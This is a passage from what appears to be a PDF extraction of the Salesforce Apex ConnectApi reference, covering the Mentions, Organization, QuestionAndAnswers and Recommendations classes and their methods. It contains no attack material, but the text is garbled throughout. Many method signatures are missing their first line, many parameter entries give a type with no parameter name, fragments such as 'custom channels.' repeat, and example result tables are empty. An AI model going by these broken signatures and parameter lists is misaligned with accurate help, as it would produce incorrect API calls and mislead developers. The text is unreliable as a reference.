ManagedTopicB 1
ManagedTopicC 2
ManagedTopicD 3
ManagedTopicE 4
And you reorder managed topics by including this information in ConnectApi.ManagedTopicPositionCollectionInput:

ManagedTopicD 0
1440

ManagedTopicE 2
The result is:

ManagedTopicD 0
ManagedTopicA 1
ManagedTopicE 2
ManagedTopicB 3
ManagedTopicC 4
Mentions Class
Access information about mentions. A mention is an “@” character followed by a user or group name. When a user or group is mentioned,
they receive a notification.
Namespace
ConnectApi
Mentions Methods
The following are methods for Mentions. All methods are static.
IN THIS SECTION:
getMentionCompletions(communityId, q, contextId)
Returns the first page of possible users and groups to mention in a feed item body or comment body. A mention is an “@” character
followed by a user or group name. When a user or group is mentioned, they receive a notification.
getMentionCompletions(communityId, q, contextId, type, pageParam, pageSize)
Returns the specified page number of mention proposals of the specified mention completion type: All, User, or Group. A mention
is an “@” character followed by a user or group name. When a user or group is mentioned, they receive a notification.
getMentionValidations(communityId, parentId, recordIds, visibility)
Information about whether the specified mentions are valid for the context user.
Returns the first page of possible users and groups to mention in a feed item body or comment body. A mention is an “@” character
followed by a user or group name. When a user or group is mentioned, they receive a notification.
1441
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.MentionCompletionPage getMentionCompletions (String communityId,
String q, String contextId)
Parameters
communityId
Type: String
q
Type: String
A search term for matching user and group names. Searching for a group requires a minimum of 2 characters. Searching for a user
doesn’t require a minimum number of characters. This parameter does not support wildcards.
contextId
Type: String
A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with
more useful results listed first. Use a group ID for groups that allow customers to ensure mention completion results include customers.
Return Value
Type: ConnectApi.MentionCompletionPage
Usage
Call this method to generate a page of proposed mentions that a user can choose from when they enter characters in a feed item body
or a comment body.
SEE ALSO:
setTestGetMentionCompletions(communityId, q, contextId, result)

Returns the specified page number of mention proposals of the specified mention completion type: All, User, or Group. A mention is an
“@” character followed by a user or group name. When a user or group is mentioned, they receive a notification.
1442
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.Mentions getMentionCompletions (String communityId, String q,
String contextId, ConnectApi.MentionCompletionType type, Integer pageParam, Integer
pageSize)
Parameters
communityId
Type: String
q
Type: String
contextId
Type: String
type
Type: ConnectApi.MentionCompletionType
Specifies the type of mention completion:
• All—All mention completions, regardless of the type of record to which the mention refers.
• Group—Mention completions for groups.
• User—Mention completions for users.
pageParam
Type: String
pageSize
Type: String
Return Value
1443
Usage
Call this method to generate a page of proposed mentions that a user can choose from when they enter characters in a feed item body
or a comment body.
SEE ALSO:
setTestGetMentionCompletions(communityId, q, contextId, type, pageParam, pageSize, result)
getMentionValidations(communityId, parentId, recordIds, visibility)

Information about whether the specified mentions are valid for the context user.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.Mentions getMentionValidations(String communityId, String
parentId, List<String> recordIds, ConnectApi.FeedItemVisibilityType visibility)
Parameters
communityId
Type: String
parentId
Type: String
The feed item parent ID.
recordIds
Type: List<String>
A comma separated list of IDs to be mentioned. The maximum value is 25.
visibility
Type: ConnectApi.FeedItemVisibilityType
Specifies the type of users who can see a feed item.
• AllUsers—Visibility is not limited to internal users.
• InternalUsers—Visibility is limited to internal users.
1444
Return Value
Type: ConnectApi.MentionValidations
Usage
Call this method to check whether the record IDs returned from a call to ConnectApi.Mentions.getMentionCompletions
are valid for the context user. For example, the context user can’t mention private groups he doesn’t belong to. If such a group were
included in the list of mention validations, the ConnectApi.MentionValidations.hasErrors property would be true
and the group would have a ConnectApi.MentionValidation.valdiationStatus of Disallowed.
Mentions Test Methods

The following are the test methods for Mentions. All methods are static.
setTestGetMentionCompletions(communityId, q, contextId, result)

Registers a ConnectApi.MentionCompletionPage object to be returned when getMentionCompletions(String,
String, String) is called in a test context.
API Version
29.0
Signature
public static Void setTestGetMentionCompletions (String communityId, String q, String
contextId, ConnectApi.MentionCompletionPage result)
Parameters
communityId
Type: String
q
Type: String
contextId
Type: String
result
A ConnectApi.MentionCompletionPage object containing test data.
1445
Return Value
Type: Void
SEE ALSO:
setTestGetMentionCompletions(communityId, q, contextId, type, pageParam, pageSize,

result)
Registers a ConnectApi.MentionCompletionPage object to be returned when getMentionCompletions(String,
String, String, ConnectApi.MentionCompletionType, Integer, Integer) is called in a test context.
API Version
29.0
Signature
public static Void setTestGetMentionCompletions (String communityId, String q, String
contextId, ConnectApi.MentionCompletionType type, Integer pageParam, Integer pageSize,
ConnectApi.MentionCompletionPage result)
Parameters
communityId
Type: String
q
Type: String
contextId
Type: String
type
Type: ConnectApi.MentionCompletionType
Specifies the type of mention completion:
• All—All mention completions, regardless of the type of record to which the mention refers.
pageParam
Type: String
1446
pageSize
Type: String
result
A ConnectApi.MentionCompletionPage object containing test data.
Return Value
Type: Void
SEE ALSO:
Organization Class
Access information about an organization.
Namespace
ConnectApi
This is the static method of the Organization class:
Organization Methods
The following are methods for Organization. All methods are static.
IN THIS SECTION:
getSettings()
Returns information about the organization and context user, including which features are enabled.
getSettings()
Returns information about the organization and context user, including which features are enabled.
API Version
28.0
Requires Chatter
No
1447
Signature
public static ConnectApi. OrganizationSettings getSettings()
Return Value
Type: ConnectApi.OrganizationSettings
QuestionAndAnswers Class
Access question and answers suggestions.
Namespace
ConnectApi
IN THIS SECTION:
QuestionAndAnswers Methods
QuestionAndAnswers Methods
The following are methods for QuestionAndAnswers. All methods are static.
IN THIS SECTION:
getSuggestions(communityId, q, subjectId, includeArticles, maxResults)
Returns question and answers suggestions.
setTestGetSuggestions(communityId, q, subjectId, includeArticles, maxResults, result)
Registers a ConnectApi.QuestionAndAnswersSuggestions object to be returned when getSuggestions is
called with matching parameters in a test context. You must use the method with the same parameters or the code throws an
exception.
updateQuestionAndAnswers(communityId, feedElementId, questionAndAnswersCapability)
Choose or change the best answer for a question.

Returns question and answers suggestions.
API Version
32.0
Requires Chatter
No
1448
Signature
public static ConnectApi.QuestionAndAnswersSuggestions getSuggestions(String communityId,
String q, String subjectId, Boolean includeArticles, Integer maxResults)
Parameters
communityId
Type: String
q
Type: String
subjectId
Type: String
Specify a subject ID to search only questions on that object. If the ID is a topic or a user, the ID is ignored.
includeArticles
Type: Boolean
Specify true to include knowledge articles in the search results. To return only questions, specify false.
maxResults
Type: Integer
The maximum number of results to return for each type of item. Possible values are 1–10. The default value is 5.
Return Value
Type: ConnectApi.QuestionAndAnswersSuggestions
Usage
SEE ALSO:

Registers a ConnectApi.QuestionAndAnswersSuggestions object to be returned when getSuggestions is called
with matching parameters in a test context. You must use the method with the same parameters or the code throws an exception.
API Version
32.0
1449
Signature
public static Void setTestGetSuggestions(String communityId, String q, String subjectId,
Boolean includeArticles, Integer maxResults, ConnectApi.QuestionAndAnswersSuggestions
result)
Parameters
communityId
Type: String
q
Type: String
subjectId
Type: String
Specify a subject ID to search only questions on that object. If the ID is a topic or a user, the ID is ignored.
includeArticles
Type: Boolean
Specify true to include knowledge articles in the search results. To return only questions, specify false.
maxResults
Type: Integer
The maximum number of results to return for each type of item. Possible values are 1–10. The default value is 5.
result
Type: ConnectApi.QuestionAndAnswersSuggestions
Return Value
Type: Void
SEE ALSO:
updateQuestionAndAnswers(communityId, feedElementId, questionAndAnswersCapability)

Choose or change the best answer for a question.
API Version
32.0
1450
Requires Chatter
Yes
Signature
public static ConnectApi.QuestionAndAnswersCapability updateQuestionAndAnswers(String
communityId, String feedElementId, ConnectApi.QuestionAndAnswersCapabilityInput
questionAndAnswersCapability)
Parameters
communityId
Type: String
feedElementId
Type: String
questionAndAnswersCapability
Type: ConnectApi.QuestionAndAnswersCapabilityInput
Specify the best answer (comment ID) for the question.
Return Value
Type: ConnectApi.QuestionAndAnswersCapability
Example
ConnectApi.QuestionAndAnswersCapabilityInput qaInput = new
qaInput.bestAnswerId = '0D7D00000000lMAKAY';
ConnectApi.QuestionAndAnswersCapability qa =
ConnectApi.QuestionAndAnswers.updateQuestionAndAnswers(null, '0D5D0000000XZjJ', qaInput);
Recommendations Class
Access information about recommendations and reject recommendations. Also create, delete, get, and update recommendation
audiences, recommendation definitions, and scheduled recommendations.
Namespace
ConnectApi
Recommendations Methods
The following are methods for Recommendations. All methods are static.
1451
IN THIS SECTION:
createRecommendationAudience(communityId, recommendationAudience)
Create an audience for a recommendation.
createRecommendationAudience(communityId, name)
createRecommendationDefinition(communityId, recommendationDefinition)
Create a recommendation definition.
createRecommendationDefinition(communityId, name, title, actionUrl, actionUrlName, explanation)
Create a recommendation definition with the specified parameters.
createScheduledRecommendation(communityId, scheduledRecommendation)
Create a scheduled recommendation.
createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled, recommendationAudienceId)
Create a scheduled recommendation with the specified parameters.
createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled, recommendationAudienceId, channel)
deleteRecommendationAudience(communityId, recommendationAudienceId)
Delete a recommendation audience.
deleteRecommendationDefinition(communityId, recommendationDefinitionId)
Delete a recommendation definition.
deleteRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Delete a recommendation definition photo.
deleteScheduledRecommendation(communityId, scheduledRecommendationId, deleteDefinitionIfLast)
Delete a scheduled recommendation.
getRecommendationAudience(communityId, recommendationAudienceId)
Get information about a recommendation audience.
getRecommendationAudienceMembership(communityId, recommendationAudienceId)
Get the members of a recommendation audience.
getRecommendationAudienceMembership(communityId, recommendationAudienceId, pageParam, pageSize)
Get a page of recommendation audience members.
getRecommendationAudiences(communityId)
Get recommendation audiences.
getRecommendationAudiences(communityId, pageParam, pageSize)
Get a page of recommendation audiences.
getRecommendationDefinition(communityId, recommendationDefinitionId)
Get a recommendation definition.
getRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Get a recommendation definition photo.
getRecommendationDefinitions(communityId)
Get recommendation definitions.
1452
getRecommendationForUser(communityId, userId, action, objectId)

Returns the recommendation for the context user for the specified action and object ID.
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults)
Returns the user, group, file, record, custom, and static recommendations for the context user.
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults)
Returns the user, group, file, article, record, topic, custom, and static recommendations for the context user.
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults)
Returns the recommendations for the context user for the specified action.
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults)
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults)
Returns the recommendations for the context user for the specified action and object category.
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel, maxResults)
getScheduledRecommendation(communityId, scheduledRecommendationId)
Get a scheduled recommendation.
getScheduledRecommendations(communityId)
Get scheduled recommendations.
getScheduledRecommendations(communityId, channel)
rejectRecommendationForUser(communityId, userId, action, objectId)
Rejects the recommendation for the context user for the specified action and object ID.
rejectRecommendationForUser(communityId, userId, action, objectEnum)
Rejects the static recommendation for the context user.
updateRecommendationAudience(communityId, recommendationAudienceId, recommendationAudience)
Update a recommendation audience.
updateRecommendationDefinition(communityId, recommendationDefinitionId, name, title, actionUrl, actionUrlName, explanation)
Update a recommendation definition with the specified parameters.
updateRecommendationDefinition(communityId, recommendationDefinitionId, recommendationDefinition)
Update a recommendation definition.
updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileUpload)
Update a recommendation definition photo with a file that hasn’t been uploaded.
updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileId, versionNumber)
Update a recommendation definition photo with a file that’s already uploaded.
updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo)
Update a recommendation definition photo with a file that’s been uploaded but requires cropping.
updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo, fileUpload)
Update a recommendation definition photo with a file that hasn’t been uploaded and requires cropping.
updateScheduledRecommendation(communityId, scheduledRecommendationId, scheduledRecommendation)
Update a scheduled recommendation.
1453
updateScheduledRecommendation(communityId, scheduledRecommendationId, rank, enabled, recommendationAudienceId)

Update a scheduled recommendation with the specified parameters.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationAudience createRecommendationAudience(String
communityId, ConnectApi.RecommendationAudienceInput recommendationAudience)
Parameters
communityId
Type: String
recommendationAudience
Type: ConnectApi.RecommendationAudienceInput
A ConnectApi.RecommendationAudienceInput object.
Return Value
Type: ConnectApi.RecommendationAudience
Usage
Community managers (users with the Create and Set Up Communities or Manage Communities permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the Modify All Data permission can also access,
create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
createRecommendationAudience(communityId, name)
API Version
35.0
Requires Chatter
No
1454
Signature
public static ConnectApi.RecommendationAudience createRecommendationAudience(String
communityId, String name)
Parameters
communityId
Type: String
name
Type: String
The name of the audience.
Return Value
Usage
Create a recommendation definition.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationDefinition createRecommendationDefinition(String
communityId, ConnectApi.RecommendationDefinitionInput recommendationDefinition)
Parameters
communityId
Type: String
recommendationDefinition
Type: ConnectApi.RecommendationDefinitionInput
A ConnectApi.RecommendationDefinitionInput object.
1455
Return Value
Type: ConnectApi.RecommendationDefinition
Usage
Recommendation definitions allow you to create custom recommendations that appear in communities, encouraging users to watch
videos, take training and more.
These recommendations appear by default on the Customer Service (Napili) template. Specifically, on the community home and question
detail pages and in the feed in communities in the Salesforce1 mobile browser app. They also appear anywhere community managers
add recommendations using Community Builder in communities using the Summer ’15 or later version of the Customer Service (Napili)
template.
createRecommendationDefinition(communityId, name, title, actionUrl, actionUrlName,

explanation)
Create a recommendation definition with the specified parameters.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationDefinition createRecommendationDefinition(String
communityId, String name, String title, String actionUrl, String actionUrlName, String
explanation)
Parameters
communityId
Type: String
name
Type: String
The name of the recommendation definition. The name is displayed in Setup.
title
Type: String
The title of the recommendation definition.
actionUrl
Type: String
1456
The URL for acting on the recommendation, for example, the URL to join a group.
actionUrlName
Type: String
The text label for the action URL in the user interface, for example, “Launch.”
explanation
Type: String
The explanation, or body, of the recommendation.
Return Value
Usage
Recommendation definitions allow you to create custom recommendations that appear in communities, encouraging users to watch
videos, take training and more.
These recommendations appear by default on the Customer Service (Napili) template. Specifically, on the community home and question
detail pages and in the feed in communities in the Salesforce1 mobile browser app. They also appear anywhere community managers
add recommendations using Community Builder in communities using the Summer ’15 or later version of the Customer Service (Napili)
template.
Create a scheduled recommendation.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendation createScheduledRecommendation(String
communityId, ConnectApi.ScheduledRecommendationInput scheduledRecommendation)
Parameters
communityId
Type: String
scheduledRecommendation
Type: ConnectApi.ScheduledRecommendationInput
1457
A ConnectApi.ScheduledRecommendationInput object.
Return Value
Type: ConnectApi.ScheduledRecommendation
Usage
createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled,

recommendationAudienceId)
API Version
35.0 only
Important: In version 36.0 and later, use createScheduledRecommendation(communityId,

recommendationDefinitionId, rank, enabled, recommendationAudienceId, channel).
Requires Chatter
No
Signature
communityId, String recommendationDefinitionId, Integer rank, Boolean enabled, String
Parameters
communityId
Type: String
recommendationDefinitionId
Type: String
ID of the recommendation definition.
rank
Type: Integer
Relative rank of the scheduled recommendation indicated by ascending whole numbers starting with 1.
Setting the rank is comparable to an insertion into an ordered list. The scheduled recommendation is inserted into the position
specified by the rank. The rank of all the scheduled recommendations after it is pushed down. See Ranking scheduled
recommendations example.
1458
If the specified rank is larger than the size of the list, the scheduled recommendation is put at the end of the list. The rank of
the scheduled recommendation is the size of the list, instead of the one specified.
If a rank is not specified, the scheduled recommendation is put at the end of the list.
enabled
Type: Boolean
Indicates whether scheduling is enabled. If true, the recommendation is enabled and appears in communities. If false,
recommendations in feeds in the Salesforce1 mobile browser app aren’t removed, but no new recommendations appear. In Customer
Service (Napili) and Partner Central communities, disabled recommendations no longer appear.
recommendationAudienceId
Type: String
ID of the recommendation definition that this scheduled recommendation schedules.
Return Value
Usage
Ranking scheduled recommendations example
If you have these scheduled recommendations:
Scheduled Recommendations Rank

ScheduledRecommendationA 1
ScheduledRecommendationB 2
ScheduledRecommendationC 3
And you include this information in the Scheduled Recommendation Input:
Scheduled Recommendation Rank

ScheduledRecommendationD 2
The result is:

1459

createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled,

recommendationAudienceId, channel)
API Version
36.0
Requires Chatter
No
Signature
communityId, String recommendationDefinitionId, Integer rank, Boolean enabled, String
recommendationAudienceId, ConnectApi.RecommendationChannel channel)
Parameters
communityId
Type: String
Type: String
rank
Type: Integer
enabled
Type: Boolean
1460
Type: String
channel
Type: ConnectApi.RecommendationChannel
Specifies a way to tie recommendations together, for example, to display recommendations in specific places in the UI or to show
recommendations based on time of day or geographic locations. Values are:
• CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels. For example, community managers can use Community Builder to determine where recommendations appear.
custom channels.
custom channels.
custom channels.
custom channels.
• DefaultChannel—Default recommendation channel. Recommendations appear by default on the Home and Question
Detail pages of Customer Service (Napili) and Partner Central communities. They also appear in the feed in communities in the
Salesforce1 mobile browser app and anywhere community managers add recommendations using Community Builder.
Use these channel values; you can’t rename or create other channels.
Return Value
Usage

1461

The result is:

deleteRecommendationAudience(communityId, recommendationAudienceId)
Delete a recommendation audience.
API Version
35.0
Requires Chatter
No
Signature
public static Void deleteRecommendationAudience(String communityId, String
Parameters
communityId
Type: String
Type: String
ID of the recommendation audience.
Return Value
Type: Void
1462
Usage
deleteRecommendationDefinition(communityId, recommendationDefinitionId)
Delete a recommendation definition.
API Version
35.0
Requires Chatter
No
Signature
public static Void deleteRecommendationDefinition(String communityId, String
recommendationDefinitionId)
Parameters
communityId
Type: String
Type: String
Return Value
Type: Void
Usage
deleteRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Delete a recommendation definition photo.
API Version
35.0
1463
Requires Chatter
Yes
Signature
public static Void deleteRecommendationDefinitionPhoto(String communityId, String
recommendationDefinitionId)
Parameters
communityId
Type: String
Type: String
Return Value
Type: Void
Usage
deleteScheduledRecommendation(communityId, scheduledRecommendationId,
deleteDefinitionIfLast)
Delete a scheduled recommendation.
API Version
35.0
Requires Chatter
No
Signature
public static Void deleteScheduledRecommendation(String communityId, String
scheduledRecommendationId, Boolean deleteDefinitionIfLast)
Parameters
communityId
Type: String
1464

scheduledRecommendationId
Type: String
ID of the scheduled recommendation.
deleteDefinitionIfLast
Type: Boolean
If true and if this is the last scheduled recommendation of a recommendation definition, deletes the recommendation definition.
Default is false.
Return Value
Type: Void
Usage
Deleting a scheduled recommendation is comparable to a deletion in an ordered list. All scheduled recommendations after the deleted
scheduled recommendation receive a new, higher rank automatically.
getRecommendationAudience(communityId, recommendationAudienceId)
Get information about a recommendation audience.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationAudience getRecommendationAudience(String
communityId, String recommendationAudienceId)
Parameters
communityId
Type: String
Type: String
1465
Return Value
Usage
getRecommendationAudienceMembership(communityId, recommendationAudienceId)
Get the members of a recommendation audience.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.UserReferencePage getRecommendationAudienceMembership(String
communityId, String recommendationAudienceId)
Parameters
communityId
Type: String
Type: String
Return Value
Type: ConnectApi.UserReferencePage
Usage
getRecommendationAudienceMembership(communityId, recommendationAudienceId, pageParam,

pageSize)
Get a page of recommendation audience members.
1466
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.UserReferencePage getRecommendationAudienceMembership(String
communityId, String recommendationAudienceId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Specifies the number of members per page.
Return Value
Type: ConnectApi.UserReferencePage
Usage
getRecommendationAudiences(communityId)
Get recommendation audiences.
API Version
35.0
Requires Chatter
No
1467
Signature
public static ConnectApi.RecommendationAudiencePage getRecommendationAudiences(String
communityId)
Parameters
communityId
Type: String
Return Value
Type: ConnectApi.RecommendationAudiencePage
Usage
getRecommendationAudiences(communityId, pageParam, pageSize)

Get a page of recommendation audiences.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationAudiencePage getRecommendationAudiences(String
communityId, Integer pageParam, Integer pageSize)
Parameters
communityId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Specifies the number of audiences per page.
1468
Return Value
Type: ConnectApi.RecommendationAudiencePage
Usage
getRecommendationDefinition(communityId, recommendationDefinitionId)
Get a recommendation definition.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationDefinition getRecommendationDefinition(String
communityId, String recommendationDefinitionId)
Parameters
communityId
Type: String
Type: String
Return Value
Usage
getRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Get a recommendation definition photo.
1469
API Version
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo getRecommendationDefinitionPhoto(String communityId,
String recommendationDefinitionId)
Parameters
communityId
Type: String
Type: String
Return Value
Usage
getRecommendationDefinitions(communityId)
Get recommendation definitions.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationDefinitionPage getRecommendationDefinitions(String
communityId)
1470
Parameters
communityId
Type: String
Return Value
Type: ConnectApi.RecommendationDefinitionPage
Usage

Returns the recommendation for the context user for the specified action and object ID.
API Version
33.0
Requires Chatter
Yes
Signature
public static ConnectApi.RecommendationCollection getRecommendationForUser(String
communityId, String userId, ConnectApi.RecommendationActionType action, String objectId)
Parameters
communityId
Type: String
userId
Type: String
action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
• follow—Follow a file, record, topic, or user.
• join—Join a group.
• view—View a file, group, article, record, user, custom, or static recommendation.
1471
objectId
Type: String
Specifies the object to take action on.
• If action is follow, objectId is a user ID, file ID, record ID, or topic ID (version 36.0 and later).
• If action is join, objectId is a group ID.
• If action is view, objectId is a user ID, file ID, group ID, record ID, custom recommendation ID (version 34.0 and later),
the enum Today for static recommendations (version 35.0 and later), or an article ID (version 37.0 and later).
Return Value
Type: ConnectApi.RecommendationCollection
Usage
SEE ALSO:
setTestGetRecommendationForUser(communityId, userId, action, objectId, result)
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId,

maxResults)
Returns the user, group, file, record, custom, and static recommendations for the context user.
API Version
33.0–35.0
Important: In version 36.0 and later, use getRecommendationsForUser(communityId, userId,

contextAction, contextObjectId, channel, maxResults).
Requires Chatter
Yes
Signature
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String
communityId, String userId, ConnectApi.RecommendationActionType contextAction, String
contextObjectId, Integer maxResults)
Parameters
communityId
Type: String
1472
userId
Type: String
contextAction
Action that the context user just performed. Supported values are:
• follow
• view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you don’t want recommendations based on a recent action, specify null.
contextObjectId
Type: String
ID of the object that the context user just performed an action on.
• If contextAction is follow, contextObjectId is a user ID, file ID, or record ID.
• If contextAction is view, contextObjectId is a user ID, file ID, group ID, or record ID.
maxResults
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
Return Value
Usage
If you want to get recommendations based on a recent action performed, such as following a user, use contextAction and
contextObjectId together. For example, if you just followed Pam, you specify follow for contextAction and Pam’s user
ID for contextObjectId.
This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method
returns a recommendation for you to follow Suzanne since John also follows Suzanne.
1473
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults, result)
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId,

channel, maxResults)
Returns the user, group, file, article, record, topic, custom, and static recommendations for the context user.
API Version
36.0

38.0
Requires Chatter
Yes
Signature
communityId, String userId, ConnectApi.RecommendationActionType contextAction, String
contextObjectId, ConnectApi.RecommendationChannel channel, Integer maxResults)
1474
Parameters
communityId
Type: String
userId
Type: String
contextAction
• follow
• view
contextObjectId
Type: String
• If contextAction is follow, contextObjectId is a user ID, file ID, record ID, or topic ID.
• If contextAction is view, contextObjectId is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and
later).
channel
custom channels.
custom channels.
custom channels.
custom channels.
maxResults
Type: Integer
1475
Return Value
Usage
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults, result)
getRecommendationsForUser(communityId, userId, action, contextAction,

contextObjectId, maxResults)
API Version
33.0–35.0
Important: In version 36.0 and later, use getRecommendationsForUser(communityId, userId, action,

contextAction, contextObjectId, channel, maxResults).
1476
Requires Chatter
Yes
Signature
communityId, String userId, ConnectApi.RecommendationActionType action,
ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer
maxResults)
Parameters
communityId
Type: String
userId
Type: String
action
contextAction
• follow
• view
contextObjectId
Type: String
maxResults
Type: Integer
1477
Return Value
Usage
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults, result)
getRecommendationsForUser(communityId, userId, action, contextAction,

contextObjectId, channel, maxResults)
API Version
36.0

38.0
1478
Requires Chatter
Yes
Signature
communityId, String userId, ConnectApi.RecommendationActionType action,
ConnectApi.RecommendationActionType contextAction, String contextObjectId,
ConnectApi.RecommendationChannel channel, Integer maxResults)
Parameters
communityId
Type: String
userId
Type: String
action
contextAction
• follow
• view
contextObjectId
Type: String
later).
channel
1479
custom channels.
custom channels.
custom channels.
custom channels.
maxResults
Type: Integer
Return Value
Usage
1480
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults, result)
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction,

contextObjectId, maxResults)
API Version
33.0–35.0
Important: In version 36.0 and later, use getRecommendationsForUser(communityId, userId, action,

objectCategory, contextAction, contextObjectId, channel, maxResults).
Requires Chatter
Yes
Signature
communityId, String userId, ConnectApi.RecommendationActionType action, String
objectCategory, ConnectApi.RecommendationActionType contextAction, String
contextObjectId, Integer maxResults)
Parameters
communityId
Type: String
userId
Type: String
action
objectCategory
Type: String
1481
• If action is follow, objectCategory is users, files, or records.

• If action is join, objectCategory is groups.
• If action is view, objectCategory is users, files, groups, records, custom, or apps.
You can also specify a key prefix, the first three characters of the object ID, as the objectCategory. Valid values are:
• If action is follow, objectCategory is 005 (users), 069 (files), or 001 (accounts), for example.
• If action is join, objectCategory is 0F9 (groups).
• If action is view, objectCategory is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T
(static recommendations), or 001 (accounts), for example.
contextAction
• follow
• view
contextObjectId
Type: String
maxResults
Type: Integer
Return Value
Usage
1482
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults,
result)
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction,

contextObjectId, channel, maxResults)
API Version
36.0

38.0
Requires Chatter
Yes
Signature
communityId, String userId, ConnectApi.RecommendationActionType action, String
objectCategory, ConnectApi.RecommendationActionType contextAction, String
contextObjectId, ConnectApi.RecommendationChannel channel, Integer maxResults)
1483
Parameters
communityId
Type: String
userId
Type: String
action
objectCategory
Type: String
• If action is follow, objectCategory is users, files, topics, or records.
• If action is view, objectCategory is users, files, groups, records, custom, apps, or articles
(version 37.0 and later).
• If action is follow, objectCategory is 005 (users), 069 (files), 0TO (topics), or 001 (accounts), for example.
(static recommendations), 001 (accounts), or kA0 (articles), for example, (version 370 and later).
contextAction
• follow
• view
contextObjectId
Type: String
later).
1484
channel
custom channels.
custom channels.
custom channels.
custom channels.
maxResults
Type: Integer
Return Value
Usage
1485
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel,
maxResults, result)
getScheduledRecommendation(communityId, scheduledRecommendationId)
Get a scheduled recommendation.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendation getScheduledRecommendation(String
communityId, String scheduledRecommendationId)
Parameters
communityId
Type: String
Type: String
1486
Return Value
Usage
getScheduledRecommendations(communityId)
API Version
35.0 only
Important: In version 36.0 and later, use getScheduledRecommendations(communityId, channel).
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendationPage getScheduledRecommendations(String
communityId)
Parameters
communityId
Type: String
Return Value
Type: ConnectApi.ScheduledRecommendationPage
Usage
getScheduledRecommendations(communityId, channel)
1487
API Version
36.0
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendationPage getScheduledRecommendations(String
communityId, ConnectApi.RecommendationChannel channel)
Parameters
communityId
Type: String
channel
custom channels.
custom channels.
custom channels.
custom channels.
Return Value
Type: ConnectApi.ScheduledRecommendationPage
Usage
1488
rejectRecommendationForUser(communityId, userId, action, objectId)

Rejects the recommendation for the context user for the specified action and object ID.
API Version
33.0
Requires Chatter
Yes
Signature
public static rejectRecommendationForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, String objectId)
Parameters
communityId
Type: String
userId
Type: String
action
Specifies the action to take on a recommendation. Supported values are:
objectId
Type: String
• If action is view, objectId is a custom recommendation ID, the enum Today for static recommendations, or an article
ID (version 37.0 and later).
Return Value
Type: Void
rejectRecommendationForUser(communityId, userId, action, objectEnum)

Rejects the static recommendation for the context user.
1489
API Version
34.0
Requires Chatter
Yes
Signature
public static rejectRecommendationForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, ConnectApi.RecommendedObjectType objectEnum)
Parameters
communityId
Type: String
userId
Type: String
action
Specifies the action to take on a recommendation. Supported values are:
• view—View a static recommendation.
objectEnum
Type: ConnectApi.RecommendedObjectType
Specifies the object type to take action on.
• Today—Static recommendations that don’t have an ID, for example, the Today app recommendation.
Return Value
Type: Void
updateRecommendationAudience(communityId, recommendationAudienceId,
